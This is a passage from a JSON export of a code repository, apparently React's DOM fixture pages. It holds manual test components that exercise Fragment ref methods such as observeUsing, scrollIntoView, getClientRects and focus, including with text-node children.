    "content": "import TestCase from '../../TestCase';\nimport Fixture from '../../Fixture';\n\nconst React = window.React;\nconst {Fragment, useEffect, useRef, useState} = React;\n\nfunction WrapperComponent(props) {\n  return props.children;\n}\n\nfunction ObservedChild({id}) {\n  return (\n    <div id={id} className=\"observable-card\">\n      {id}\n    </div>\n  );\n}\n\nconst initialItems = [\n  ['A', false],\n  ['B', false],\n  ['C', false],\n];\n\nexport default function IntersectionObserverCase() {\n  const fragmentRef = useRef(null);\n  const [items, setItems] = useState(initialItems);\n  const addedItems = items.slice(3);\n  const anyOnScreen = items.some(([, onScreen]) => onScreen);\n  const observerRef = useRef(null);\n\n  useEffect(() => {\n    if (observerRef.current === null) {\n      observerRef.current = new IntersectionObserver(\n        entries => {\n          setItems(prev => {\n            const newItems = [...prev];\n            entries.forEach(entry => {\n              const index = newItems.findIndex(\n                ([id]) => id === entry.target.id\n              );\n              newItems[index] = [entry.target.id, entry.isIntersecting];\n            });\n            return newItems;\n          });\n        },\n        {\n          threshold: [0.5],\n        }\n      );\n    }\n    fragmentRef.current.observeUsing(observerRef.current);\n\n    const lastFragmentRefValue = fragmentRef.current;\n    return () => {\n      lastFragmentRefValue.unobserveUsing(observerRef.current);\n      observerRef.current = null;\n    };\n  }, []);\n\n  return (\n    <TestCase title=\"Intersection Observer\">\n      <TestCase.Steps>\n        <li>\n          Scroll the children into view, observe the sidebar appears and shows\n          which children are in the viewport\n        </li>\n        <li>\n          Add a new child and observe that the Intersection Observer is applied\n        </li>\n        <li>\n          Click Unobserve and observe that the state of children in the viewport\n          is no longer updated\n        </li>\n        <li>\n          Click Observe and observe that the state of children in the viewport\n          is updated again\n        </li>\n      </TestCase.Steps>\n\n      <TestCase.ExpectedResult>\n        <p>\n          Fragment refs manage Intersection Observers on the first level of host\n          children. This page loads with an effect that sets up an Inersection\n          Observer applied to each child card.\n        </p>\n        <p>\n          New child nodes will also have the observer applied. Removed nodes\n          will be unobserved.\n        </p>\n      </TestCase.ExpectedResult>\n      <Fixture>\n        <Fixture.Controls>\n          <button\n            onClick={() => {\n              setItems(prev => [\n                ...prev,\n                [`Extra child: ${prev.length + 1}`, false],\n              ]);\n            }}>\n            Add Child\n          </button>\n          <button\n            onClick={() => {\n              setItems(prev => {\n                if (prev.length === 3) {\n                  return prev;\n                }\n                return prev.slice(0, prev.length - 1);\n              });\n            }}>\n            Remove Child\n          </button>\n          <button\n            onClick={() => {\n              fragmentRef.current.observeUsing(observerRef.current);\n            }}>\n            Observe\n          </button>\n          <button\n            onClick={() => {\n              fragmentRef.current.unobserveUsing(observerRef.current);\n              setItems(prev => {\n                return prev.map(item => [item[0], false]);\n              });\n            }}>\n            Unobserve\n          </button>\n          {anyOnScreen && (\n            <div className=\"fixed-sidebar card-container\">\n              <p>\n                <strong>Children on screen:</strong>\n              </p>\n              {items.map(item => (\n                <div className={`card ${item[1] ? 'onscreen' : null}`}>\n                  {item[0]}\n                </div>\n              ))}\n            </div>\n          )}\n        </Fixture.Controls>\n        <Fragment ref={fragmentRef}>\n          <ObservedChild id=\"A\" />\n          <WrapperComponent>\n            <ObservedChild id=\"B\" />\n          </WrapperComponent>\n          <ObservedChild id=\"C\" />\n          {addedItems.map((_, index) => (\n            <ObservedChild id={`Extra child: ${index + 4}`} />\n          ))}\n        </Fragment>\n      </Fixture>\n    </TestCase>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/fragment-refs/PrintRectsFragmentContainer.js",
    "content": "const React = window.React;\nconst {Fragment, useRef, useState} = React;\n\nconst colors = [\n  '#e74c3c',\n  '#3498db',\n  '#2ecc71',\n  '#9b59b6',\n  '#f39c12',\n  '#1abc9c',\n];\n\nexport default function PrintRectsFragmentContainer({children}) {\n  const fragmentRef = useRef(null);\n  const [rects, setRects] = useState([]);\n\n  const getRects = () => {\n    const rectsResult = fragmentRef.current.getClientRects();\n    setRects(Array.from(rectsResult));\n  };\n\n  const getColor = index => colors[index % colors.length];\n\n  return (\n    <Fragment>\n      <div style={{marginBottom: '16px'}}>\n        <button\n          onClick={getRects}\n          style={{\n            padding: '8px 16px',\n            fontSize: '14px',\n            fontWeight: 'bold',\n            cursor: 'pointer',\n          }}>\n          Print Rects\n        </button>\n        {rects.length > 0 && (\n          <span style={{marginLeft: '12px', color: '#666'}}>\n            Found {rects.length} rect{rects.length !== 1 ? 's' : ''}\n          </span>\n        )}\n      </div>\n\n      <div style={{display: 'flex', gap: '20px', marginBottom: '16px'}}>\n        <div\n          style={{\n            position: 'relative',\n            width: '30vw',\n            height: '30vh',\n            border: '1px solid #ccc',\n            backgroundColor: '#fafafa',\n            borderRadius: '4px',\n            overflow: 'hidden',\n          }}>\n          {rects.length === 0 && (\n            <div\n              style={{\n                position: 'absolute',\n                top: '50%',\n                left: '50%',\n                transform: 'translate(-50%, -50%)',\n                color: '#999',\n                fontSize: '14px',\n              }}>\n              Click button to visualize rects\n            </div>\n          )}\n          {rects.map(({x, y, width, height}, index) => {\n            const scale = 0.3;\n            const color = getColor(index);\n\n            return (\n              <div\n                key={index}\n                style={{\n                  position: 'absolute',\n                  top: y * scale,\n                  left: x * scale,\n                  width: width * scale,\n                  height: height * scale,\n                  border: `2px solid ${color}`,\n                  backgroundColor: `${color}22`,\n                  boxSizing: 'border-box',\n                  borderRadius: '2px',\n                }}\n              />\n            );\n          })}\n        </div>\n\n        <div style={{flex: 1, fontSize: '13px', fontFamily: 'monospace'}}>\n          {rects.map(({x, y, width, height}, index) => {\n            const color = getColor(index);\n            return (\n              <div\n                key={index}\n                style={{\n                  padding: '6px 10px',\n                  marginBottom: '4px',\n                  backgroundColor: '#f5f5f5',\n                  borderLeft: `3px solid ${color}`,\n                  borderRadius: '2px',\n                }}>\n                <span style={{color: '#666'}}>#{index}</span>{' '}\n                <span style={{color: '#333'}}>\n                  x: {Math.round(x)}, y: {Math.round(y)}, w: {Math.round(width)}\n                  , h: {Math.round(height)}\n                </span>\n              </div>\n            );\n          })}\n        </div>\n      </div>\n\n      <div\n        style={{\n          padding: '12px',\n          border: '1px dashed #ccc',\n          borderRadius: '4px',\n          backgroundColor: '#fff',\n        }}>\n        <Fragment ref={fragmentRef}>{children}</Fragment>\n      </div>\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/fragment-refs/ResizeObserverCase.js",
    "content": "import TestCase from '../../TestCase';\nimport Fixture from '../../Fixture';\n\nconst React = window.React;\nconst {Fragment, useEffect, useRef, useState} = React;\n\nexport default function ResizeObserverCase() {\n  const fragmentRef = useRef(null);\n  const [width, setWidth] = useState([0, 0, 0]);\n\n  useEffect(() => {\n    const resizeObserver = new window.ResizeObserver(entries => {\n      if (entries.length > 0) {\n        setWidth(prev => {\n          const newWidth = [...prev];\n          entries.forEach(entry => {\n            const index = parseInt(entry.target.id, 10);\n            newWidth[index] = Math.round(entry.contentRect.width);\n          });\n          return newWidth;\n        });\n      }\n    });\n\n    fragmentRef.current.observeUsing(resizeObserver);\n    const lastFragmentRefValue = fragmentRef.current;\n    return () => {\n      lastFragmentRefValue.unobserveUsing(resizeObserver);\n    };\n  }, []);\n\n  return (\n    <TestCase title=\"Resize Observer\">\n      <TestCase.Steps>\n        <li>Resize the viewport width until the children respond</li>\n        <li>See that the width data updates as they elements resize</li>\n      </TestCase.Steps>\n      <TestCase.ExpectedResult>\n        The Fragment Ref has a ResizeObserver attached which has a callback to\n        update the width state of each child node.\n      </TestCase.ExpectedResult>\n      <Fixture>\n        <Fragment ref={fragmentRef}>\n          <div className=\"card\" id=\"0\" style={{width: '100%'}}>\n            <p>\n              Width: <b>{width[0]}px</b>\n            </p>\n          </div>\n          <div className=\"card\" id=\"1\" style={{width: '80%'}}>\n            <p>\n              Width: <b>{width[1]}px</b>\n            </p>\n          </div>\n          <div className=\"card\" id=\"2\" style={{width: '50%'}}>\n            <p>\n              Width: <b>{width[2]}px</b>\n            </p>\n          </div>\n        </Fragment>\n      </Fixture>\n    </TestCase>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/fragment-refs/ScrollIntoViewCase.js",
    "content": "import TestCase from '../../TestCase';\nimport Fixture from '../../Fixture';\nimport ScrollIntoViewCaseComplex from './ScrollIntoViewCaseComplex';\nimport ScrollIntoViewCaseSimple from './ScrollIntoViewCaseSimple';\nimport ScrollIntoViewTargetElement from './ScrollIntoViewTargetElement';\n\nconst React = window.React;\nconst {Fragment, useRef, useState, useEffect} = React;\nconst ReactDOM = window.ReactDOM;\n\nfunction Controls({\n  alignToTop,\n  setAlignToTop,\n  scrollVertical,\n  exampleType,\n  setExampleType,\n}) {\n  return (\n    <div>\n      <label>\n        Example Type:\n        <select\n          value={exampleType}\n          onChange={e => setExampleType(e.target.value)}>\n          <option value=\"simple\">Simple</option>\n          <option value=\"multiple\">Multiple Scroll Containers</option>\n          <option value=\"horizontal\">Horizontal</option>\n          <option value=\"empty\">Empty Fragment</option>\n        </select>\n      </label>\n      <div>\n        <label>\n          Align to Top:\n          <input\n            type=\"checkbox\"\n            checked={alignToTop}\n            onChange={e => setAlignToTop(e.target.checked)}\n          />\n        </label>\n      </div>\n      <div>\n        <button onClick={scrollVertical}>scrollIntoView()</button>\n      </div>\n    </div>\n  );\n}\n\nexport default function ScrollIntoViewCase() {\n  const [exampleType, setExampleType] = useState('simple');\n  const [alignToTop, setAlignToTop] = useState(true);\n  const [caseInViewport, setCaseInViewport] = useState(false);\n  const fragmentRef = useRef(null);\n  const testCaseRef = useRef(null);\n  const noChildRef = useRef(null);\n  const scrollContainerRef = useRef(null);\n\n  const scrollVertical = () => {\n    fragmentRef.current.scrollIntoView(alignToTop);\n  };\n\n  const scrollVerticalNoChildren = () => {\n    noChildRef.current.scrollIntoView(alignToTop);\n  };\n\n  useEffect(() => {\n    const observer = new IntersectionObserver(entries => {\n      entries.forEach(entry => {\n        if (entry.isIntersecting) {\n          setCaseInViewport(true);\n        } else {\n          setCaseInViewport(false);\n        }\n      });\n    });\n    testCaseRef.current.observeUsing(observer);\n\n    const lastRef = testCaseRef.current;\n    return () => {\n      lastRef.unobserveUsing(observer);\n      observer.disconnect();\n    };\n  });\n\n  return (\n    <Fragment ref={testCaseRef}>\n      <TestCase title=\"ScrollIntoView\">\n        <TestCase.Steps>\n          <li>Toggle alignToTop and click the buttons to scroll</li>\n        </TestCase.Steps>\n        <TestCase.ExpectedResult>\n          <p>When the Fragment has children:</p>\n          <p>\n            In order to handle the case where children are split between\n            multiple scroll containers, we call scrollIntoView on each child in\n            reverse order.\n          </p>\n          <p>When the Fragment does not have children:</p>\n          <p>\n            The Fragment still represents a virtual space. We can scroll to the\n            nearest edge by selecting the host sibling before if\n            alignToTop=false, or after if alignToTop=true|undefined. We'll fall\n            back to the other sibling or parent in the case that the preferred\n            sibling target doesn't exist.\n          </p>\n        </TestCase.ExpectedResult>\n        <Fixture>\n          <Fixture.Controls>\n            <Controls\n              alignToTop={alignToTop}\n              setAlignToTop={setAlignToTop}\n              scrollVertical={scrollVertical}\n              exampleType={exampleType}\n              setExampleType={setExampleType}\n            />\n          </Fixture.Controls>\n          {exampleType === 'simple' && (\n            <Fragment ref={fragmentRef}>\n              <ScrollIntoViewCaseSimple />\n            </Fragment>\n          )}\n          {exampleType === 'horizontal' && (\n            <div\n              style={{\n                display: 'flex',\n                overflowX: 'auto',\n                flexDirection: 'row',\n                border: '1px solid #ccc',\n                padding: '1rem 10rem',\n                marginBottom: '1rem',\n                width: '100%',\n                whiteSpace: 'nowrap',\n                justifyContent: 'space-between',\n              }}>\n              <Fragment ref={fragmentRef}>\n                <ScrollIntoViewCaseSimple />\n              </Fragment>\n            </div>\n          )}\n          {exampleType === 'multiple' && (\n            <Fragment>\n              <div\n                style={{\n                  height: '50vh',\n                  overflowY: 'auto',\n                  border: '1px solid black',\n                  marginBottom: '1rem',\n                }}\n                ref={scrollContainerRef}\n              />\n              <Fragment ref={fragmentRef}>\n                <ScrollIntoViewCaseComplex\n                  caseInViewport={caseInViewport}\n                  scrollContainerRef={scrollContainerRef}\n                />\n              </Fragment>\n            </Fragment>\n          )}\n          {exampleType === 'empty' && (\n            <Fragment>\n              <ScrollIntoViewTargetElement\n                color=\"lightyellow\"\n                id=\"ABOVE EMPTY FRAGMENT\"\n              />\n              <Fragment ref={fragmentRef}></Fragment>\n              <ScrollIntoViewTargetElement\n                color=\"lightblue\"\n                id=\"BELOW EMPTY FRAGMENT\"\n              />\n            </Fragment>\n          )}\n          <Fixture.Controls>\n            <Controls\n              alignToTop={alignToTop}\n              setAlignToTop={setAlignToTop}\n              scrollVertical={scrollVertical}\n              exampleType={exampleType}\n              setExampleType={setExampleType}\n            />\n          </Fixture.Controls>\n        </Fixture>\n      </TestCase>\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/fragment-refs/ScrollIntoViewCaseComplex.js",
    "content": "import ScrollIntoViewTargetElement from './ScrollIntoViewTargetElement';\n\nconst React = window.React;\nconst {Fragment, useRef, useState, useEffect} = React;\nconst ReactDOM = window.ReactDOM;\n\nexport default function ScrollIntoViewCaseComplex({\n  caseInViewport,\n  scrollContainerRef,\n}) {\n  const [didMount, setDidMount] = useState(false);\n  // Hack to portal child into the scroll container\n  // after the first render. This is to simulate a case where\n  // an item is portaled into another scroll container.\n  useEffect(() => {\n    if (!didMount) {\n      setDidMount(true);\n    }\n  }, []);\n  return (\n    <Fragment>\n      {caseInViewport && (\n        <div\n          style={{position: 'fixed', top: 0, backgroundColor: 'red'}}\n          id=\"header\">\n          Fixed header\n        </div>\n      )}\n      {didMount &&\n        ReactDOM.createPortal(\n          <ScrollIntoViewTargetElement color=\"red\" id=\"FROM_PORTAL\" />,\n          scrollContainerRef.current\n        )}\n      <ScrollIntoViewTargetElement color=\"lightgreen\" id=\"A\" />\n      <ScrollIntoViewTargetElement color=\"lightcoral\" id=\"B\" />\n      <ScrollIntoViewTargetElement color=\"lightblue\" id=\"C\" />\n      {caseInViewport && (\n        <div\n          style={{\n            position: 'fixed',\n            bottom: 0,\n            backgroundColor: 'purple',\n          }}\n          id=\"footer\">\n          Fixed footer\n        </div>\n      )}\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/fragment-refs/ScrollIntoViewCaseSimple.js",
    "content": "import ScrollIntoViewTargetElement from './ScrollIntoViewTargetElement';\n\nconst React = window.React;\nconst {Fragment} = React;\n\nexport default function ScrollIntoViewCaseSimple() {\n  return (\n    <Fragment>\n      <ScrollIntoViewTargetElement color=\"lightyellow\" id=\"SCROLLABLE-1\" />\n      <ScrollIntoViewTargetElement color=\"lightpink\" id=\"SCROLLABLE-2\" />\n      <ScrollIntoViewTargetElement color=\"lightcyan\" id=\"SCROLLABLE-3\" />\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/fragment-refs/ScrollIntoViewTargetElement.js",
    "content": "const React = window.React;\n\nexport default function ScrollIntoViewTargetElement({color, id, top}) {\n  return (\n    <div\n      id={id}\n      style={{\n        height: 500,\n        minWidth: 300,\n        backgroundColor: color,\n        marginTop: top ? '50vh' : 0,\n        marginBottom: 100,\n        flexShrink: 0,\n      }}>\n      {id}\n    </div>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/fragment-refs/TextNodesCase.js",
    "content": "import TestCase from '../../TestCase';\nimport Fixture from '../../Fixture';\nimport PrintRectsFragmentContainer from './PrintRectsFragmentContainer';\nimport CompareDocumentPositionFragmentContainer from './CompareDocumentPositionFragmentContainer';\nimport EventFragmentContainer from './EventFragmentContainer';\nimport GetRootNodeFragmentContainer from './GetRootNodeFragmentContainer';\n\nconst React = window.React;\nconst {Fragment, useRef, useState} = React;\n\nfunction GetClientRectsTextOnly() {\n  return (\n    <TestCase title=\"getClientRects - Text Only\">\n      <TestCase.Steps>\n        <li>Click the \"Print Rects\" button</li>\n      </TestCase.Steps>\n      <TestCase.ExpectedResult>\n        The fragment contains only text nodes. getClientRects should return\n        bounding rectangles for the text content using the Range API.\n      </TestCase.ExpectedResult>\n      <Fixture>\n        <Fixture.Controls>\n          <PrintRectsFragmentContainer>\n            This is text content inside a fragment with no element children.\n          </PrintRectsFragmentContainer>\n        </Fixture.Controls>\n      </Fixture>\n    </TestCase>\n  );\n}\n\nfunction GetClientRectsMixed() {\n  return (\n    <TestCase title=\"getClientRects - Mixed Content\">\n      <TestCase.Steps>\n        <li>Click the \"Print Rects\" button</li>\n      </TestCase.Steps>\n      <TestCase.ExpectedResult>\n        The fragment contains both text nodes and elements. getClientRects\n        should return bounding rectangles for both text content (via Range API)\n        and elements.\n      </TestCase.ExpectedResult>\n      <Fixture>\n        <Fixture.Controls>\n          <PrintRectsFragmentContainer>\n            Text before the span.\n            <span\n              style={{\n                display: 'inline-block',\n                padding: '5px 10px',\n                backgroundColor: 'lightblue',\n                border: '1px solid blue',\n                margin: '0 5px',\n              }}>\n              Element\n            </span>\n            Text after the span.\n            <div\n              style={{\n                width: '500px',\n                height: '50px',\n                backgroundColor: 'lightpink',\n                border: '1px solid black',\n              }}></div>\n            More text at the end.\n          </PrintRectsFragmentContainer>\n        </Fixture.Controls>\n      </Fixture>\n    </TestCase>\n  );\n}\n\nfunction FocusTextOnlyNoop() {\n  const fragmentRef = useRef(null);\n  const [message, setMessage] = useState('');\n\n  const tryFocus = () => {\n    fragmentRef.current.focus();\n    setMessage('Called focus() - no-op for text-only fragments');\n  };\n\n  const tryFocusLast = () => {\n    fragmentRef.current.focusLast();\n    setMessage('Called focusLast() - no-op for text-only fragments');\n  };\n\n  return (\n    <TestCase title=\"focus/focusLast - Text Only (No-op)\">\n      <TestCase.Steps>\n        <li>Click either focus button</li>\n      </TestCase.Steps>\n      <TestCase.ExpectedResult>\n        Calling focus() or focusLast() on a fragment with only text children is\n        a no-op. Nothing happens and no warning is logged. This is because text\n        nodes cannot receive focus.\n      </TestCase.ExpectedResult>\n      <Fixture>\n        <Fixture.Controls>\n          <button onClick={tryFocus}>focus()</button>\n          <button onClick={tryFocusLast}>focusLast()</button>\n          {message && (\n            <div style={{marginTop: '10px', color: '#666'}}>{message}</div>\n          )}\n        </Fixture.Controls>\n        <div\n          style={{\n            padding: '20px',\n            backgroundColor: '#f5f5f5',\n            border: '1px solid #ddd',\n          }}>\n          <Fragment ref={fragmentRef}>\n            This fragment contains only text. Text nodes are not focusable.\n          </Fragment>\n        </div>\n      </Fixture>\n    </TestCase>\n  );\n}\n\nfunction ScrollIntoViewTextOnly() {\n  const fragmentRef = useRef(null);\n  const [message, setMessage] = useState('');\n\n  const tryScrollIntoView = alignToTop => {\n    fragmentRef.current.scrollIntoView(alignToTop);\n    setMessage(\n      `Called scrollIntoView(${alignToTop}) - page should scroll to text`\n    );\n  };\n\n  return (\n    <TestCase title=\"scrollIntoView - Text Only\">\n      <TestCase.Steps>\n        <li>Scroll down the page so the text fragment is not visible</li>\n        <li>Click one of the scrollIntoView buttons</li>\n      </TestCase.Steps>\n      <TestCase.ExpectedResult>\n        The page should scroll to bring the text content into view. With\n        alignToTop=true, the text should appear at the top of the viewport. With\n        alignToTop=false, it should appear at the bottom. This uses the Range\n        API to calculate text node positions.\n      </TestCase.ExpectedResult>\n      <Fixture>\n        <Fixture.Controls>\n          <button onClick={() => tryScrollIntoView(true)}>\n            scrollIntoView(true)\n          </button>\n          <button onClick={() => tryScrollIntoView(false)}>\n            scrollIntoView(false)\n          </button>\n          {message && (\n            <div style={{marginTop: '10px', color: 'green'}}>{message}</div>\n          )}\n        </Fixture.Controls>\n        <div\n          style={{\n            marginTop: '100vh',\n            marginBottom: '100vh',\n            padding: '20px',\n            backgroundColor: '#f0fff0',\n            border: '1px solid #cfc',\n          }}>\n          <Fragment ref={fragmentRef}>\n            This fragment contains only text. The scrollIntoView method uses the\n            Range API to calculate the text position and scroll to it.\n          </Fragment>\n        </div>\n      </Fixture>\n    </TestCase>\n  );\n}\n\nfunction ScrollIntoViewMixed() {\n  const fragmentRef = useRef(null);\n  const [message, setMessage] = useState('');\n\n  const tryScrollIntoView = alignToTop => {\n    fragmentRef.current.scrollIntoView(alignToTop);\n    setMessage(\n      `Called scrollIntoView(${alignToTop}) - page should scroll to fragment`\n    );\n  };\n\n  const targetStyle = {\n    height: 300,\n    marginBottom: 50,\n    display: 'flex',\n    alignItems: 'center',\n    justifyContent: 'center',\n    fontSize: '24px',\n    fontWeight: 'bold',\n  };\n\n  return (\n    <TestCase title=\"scrollIntoView - Mixed Content\">\n      <TestCase.Steps>\n        <li>Scroll down the page so the fragment is not visible</li>\n        <li>Click one of the scrollIntoView buttons</li>\n      </TestCase.Steps>\n      <TestCase.ExpectedResult>\n        The fragment contains raw text nodes (not wrapped in elements) and\n        elements in alternating order. With alignToTop=true, scroll starts from\n        the last child and works backwards, ending with the first text node at\n        the top. With alignToTop=false, scroll starts from the first child and\n        works forward, ending with the last text node at the bottom. Text nodes\n        use the Range API for scrolling.\n      </TestCase.ExpectedResult>\n      <Fixture>\n        <Fixture.Controls>\n          <button onClick={() => tryScrollIntoView(true)}>\n            scrollIntoView(true)\n          </button>\n          <button onClick={() => tryScrollIntoView(false)}>\n            scrollIntoView(false)\n          </button>\n          {message && (\n            <div style={{marginTop: '10px', color: 'green'}}>{message}</div>\n          )}\n        </Fixture.Controls>\n        <div\n          style={{\n            marginTop: '100vh',\n            marginBottom: '100vh',\n            whiteSpace: 'pre-wrap',\n            lineHeight: '2',\n          }}>\n          <Fragment ref={fragmentRef}>\n            TEXT NODE 1 - This is a raw text node at the start of the fragment\n            <div style={{...targetStyle, backgroundColor: 'lightyellow'}}>\n              ELEMENT 1\n            </div>\n            TEXT NODE 2 - This is a raw text node between elements\n            <div style={{...targetStyle, backgroundColor: 'lightpink'}}>\n              ELEMENT 2\n            </div>\n            TEXT NODE 3 - This is a raw text node between elements\n            <div style={{...targetStyle, backgroundColor: 'lightcyan'}}>\n              ELEMENT 3\n            </div>\n            TEXT NODE 4 - This is a raw text node at the end of the fragment\n          </Fragment>\n        </div>\n      </Fixture>\n    </TestCase>\n  );\n}\n\nfunction CompareDocumentPositionTextNodes() {\n  return (\n    <TestCase title=\"compareDocumentPosition - Text Only\">\n      <TestCase.Steps>\n        <li>Click the \"Compare All Positions\" button</li>\n      </TestCase.Steps>\n      <TestCase.ExpectedResult>\n        compareDocumentPosition should work correctly even when the fragment\n        contains only text nodes. The \"Before\" element should be PRECEDING the\n        fragment, and the \"After\" element should be FOLLOWING.\n      </TestCase.ExpectedResult>\n      <Fixture>\n        <Fixture.Controls>\n          <CompareDocumentPositionFragmentContainer>\n            This is text-only content inside the fragment.\n          </CompareDocumentPositionFragmentContainer>\n        </Fixture.Controls>\n      </Fixture>\n    </TestCase>\n  );\n}\n\nfunction ObserveTextOnlyWarning() {\n  const fragmentRef = useRef(null);\n  const [message, setMessage] = useState('');\n\n  const tryObserve = () => {\n    setMessage('Called observeUsing() - check console for warning');\n    const observer = new IntersectionObserver(() => {});\n    fragmentRef.current.observeUsing(observer);\n  };\n\n  return (\n    <TestCase title=\"observeUsing - Text Only Warning\">\n      <TestCase.Steps>\n        <li>Open the browser console</li>\n        <li>Click the observeUsing button</li>\n      </TestCase.Steps>\n      <TestCase.ExpectedResult>\n        A warning should appear in the console because IntersectionObserver\n        cannot observe text nodes. The warning message should indicate that\n        observeUsing() was called on a FragmentInstance with only text children.\n      </TestCase.ExpectedResult>\n      <Fixture>\n        <Fixture.Controls>\n          <button onClick={tryObserve}>\n            observeUsing(IntersectionObserver)\n          </button>\n          {message && (\n            <div style={{marginTop: '10px', color: 'orange'}}>{message}</div>\n          )}\n        </Fixture.Controls>\n        <div\n          style={{\n            padding: '20px',\n            backgroundColor: '#fff0f0',\n            border: '1px solid #fcc',\n          }}>\n          <Fragment ref={fragmentRef}>\n            This fragment contains only text. Text nodes cannot be observed.\n          </Fragment>\n        </div>\n      </Fixture>\n    </TestCase>\n  );\n}\n\nfunction EventTextOnly() {\n  return (\n    <TestCase title=\"Event Operations - Text Only\">\n      <TestCase.Steps>\n        <li>\n          Click \"Add event listener\" to attach a click handler to the fragment\n        </li>\n        <li>Click \"Dispatch click event\" to dispatch a click event</li>\n        <li>Observe that the fragment's event listener fires</li>\n        <li>Click \"Remove event listener\" and dispatch again</li>\n      </TestCase.Steps>\n      <TestCase.ExpectedResult>\n        Event operations (addEventListener, removeEventListener, dispatchEvent)\n        work on fragments with text-only content. The event is dispatched on the\n        fragment's parent element since text nodes cannot be event targets.\n      </TestCase.ExpectedResult>\n      <Fixture>\n        <Fixture.Controls>\n          <EventFragmentContainer>\n            This fragment contains only text. Events are handled via the parent.\n          </EventFragmentContainer>\n        </Fixture.Controls>\n      </Fixture>\n    </TestCase>\n  );\n}\n\nfunction EventMixed() {\n  return (\n    <TestCase title=\"Event Operations - Mixed Content\">\n      <TestCase.Steps>\n        <li>\n          Click \"Add event listener\" to attach a click handler to the fragment\n        </li>\n        <li>Click \"Dispatch click event\" to dispatch a click event</li>\n        <li>Observe that the fragment's event listener fires</li>\n        <li>Click directly on the element or text content to see bubbling</li>\n      </TestCase.Steps>\n      <TestCase.ExpectedResult>\n        Event operations work on fragments with mixed text and element content.\n        dispatchEvent forwards to the parent element. Clicks on child elements\n        or text bubble up through the DOM as normal.\n      </TestCase.ExpectedResult>\n      <Fixture>\n        <Fixture.Controls>\n          <EventFragmentContainer>\n            Text node before element.\n            <span\n              style={{\n                display: 'inline-block',\n                padding: '5px 10px',\n                margin: '0 5px',\n                backgroundColor: 'lightblue',\n                border: '1px solid blue',\n              }}>\n              Element\n            </span>\n            Text node after element.\n          </EventFragmentContainer>\n        </Fixture.Controls>\n      </Fixture>\n    </TestCase>\n  );\n}\n\nfunction GetRootNodeTextOnly() {\n  return (\n    <TestCase title=\"getRootNode - Text Only\">\n      <TestCase.Steps>\n        <li>Click the \"Get Root Node\" button</li>\n      </TestCase.Steps>\n      <TestCase.ExpectedResult>\n        getRootNode should return the root of the DOM tree containing the\n        fragment's text content. For a fragment in the main document, this\n        should return the Document node.\n      </TestCase.ExpectedResult>\n      <Fixture>\n        <Fixture.Controls>\n          <GetRootNodeFragmentContainer>\n            This fragment contains only text. getRootNode returns the document.\n          </GetRootNodeFragmentContainer>\n        </Fixture.Controls>\n      </Fixture>\n    </TestCase>\n  );\n}\n\nfunction GetRootNodeMixed() {\n  return (\n    <TestCase title=\"getRootNode - Mixed Content\">\n      <TestCase.Steps>\n        <li>Click the \"Get Root Node\" button</li>\n      </TestCase.Steps>\n      <TestCase.ExpectedResult>\n        getRootNode should return the root of the DOM tree for fragments with\n        mixed text and element content. The result is the same whether checking\n        from text nodes or element nodes within the fragment.\n      </TestCase.ExpectedResult>\n      <Fixture>\n        <Fixture.Controls>\n          <GetRootNodeFragmentContainer>\n            Text before element.\n            <span\n              style={{\n                display: 'inline-block',\n                padding: '5px 10px',\n                margin: '0 5px',\n                backgroundColor: 'lightyellow',\n                border: '1px solid #cc0',\n              }}>\n              Element\n            </span>\n            Text after element.\n          </GetRootNodeFragmentContainer>\n        </Fixture.Controls>\n      </Fixture>\n    </TestCase>\n  );\n}\n\nexport default function TextNodesCase() {\n  return (\n    <TestCase title=\"Text Node Support\">\n      <TestCase.ExpectedResult>\n        <p>\n          This section demonstrates how various FragmentInstance methods work\n          with text nodes.\n        </p>\n        <p>\n          <strong>Supported:</strong> getClientRects, compareDocumentPosition,\n          scrollIntoView, getRootNode, addEventListener, removeEventListener,\n          dispatchEvent\n        </p>\n        <p>\n          <strong>No-op (silent):</strong> focus, focusLast (text nodes cannot\n          receive focus)\n        </p>\n        <p>\n          <strong>Not supported (warns):</strong> observeUsing (observers cannot\n          observe text nodes)\n        </p>\n      </TestCase.ExpectedResult>\n      <GetClientRectsTextOnly />\n      <GetClientRectsMixed />\n      <CompareDocumentPositionTextNodes />\n      <FocusTextOnlyNoop />\n      <ScrollIntoViewTextOnly />\n      <ScrollIntoViewMixed />\n      <ObserveTextOnlyWarning />\n      <EventTextOnly />\n      <EventMixed />\n      <GetRootNodeTextOnly />\n      <GetRootNodeMixed />\n    </TestCase>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/fragment-refs/index.js",
    "content": "import FixtureSet from '../../FixtureSet';\nimport EventListenerCase from './EventListenerCase';\nimport EventDispatchCase from './EventDispatchCase';\nimport IntersectionObserverCase from './IntersectionObserverCase';\nimport ResizeObserverCase from './ResizeObserverCase';\nimport FocusCase from './FocusCase';\nimport GetClientRectsCase from './GetClientRectsCase';\nimport CompareDocumentPositionCase from './CompareDocumentPositionCase';\nimport ScrollIntoViewCase from './ScrollIntoViewCase';\nimport TextNodesCase from './TextNodesCase';\n\nconst React = window.React;\n\nexport default function FragmentRefsPage() {\n  return (\n    <FixtureSet title=\"Fragment Refs\">\n      <EventListenerCase />\n      <EventDispatchCase />\n      <IntersectionObserverCase />\n      <ResizeObserverCase />\n      <FocusCase />\n      <GetClientRectsCase />\n      <CompareDocumentPositionCase />\n      <ScrollIntoViewCase />\n      <TextNodesCase />\n    </FixtureSet>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/home.js",
